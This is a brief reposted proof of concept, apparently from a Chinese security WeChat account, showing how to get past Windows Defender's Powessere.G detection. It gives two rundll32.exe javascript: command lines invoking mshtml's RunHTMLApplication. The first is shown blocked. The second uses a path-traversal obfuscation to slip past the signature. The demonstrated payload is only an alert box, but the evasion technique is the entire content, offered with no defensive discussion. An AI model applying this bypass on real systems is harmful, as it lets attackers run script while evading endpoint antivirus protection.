Windows Defender Trojan.Win32/Powessere.G / Mitigation Bypass

C:sec>rundll32.exe javascript:"....mshtml,,RunHTMLApplication ";alert(13) 

Access is denied. 

C:sec>rundll32.exe javascript:"\..\..\mshtml\..\..\mshtml,RunHTMLApplication ";alert('新年快乐！')

原文始发于微信公众号（Khan安全攻防实验室）：Windows Defender Trojan.Win32/Powessere.G / Mitigation Bypass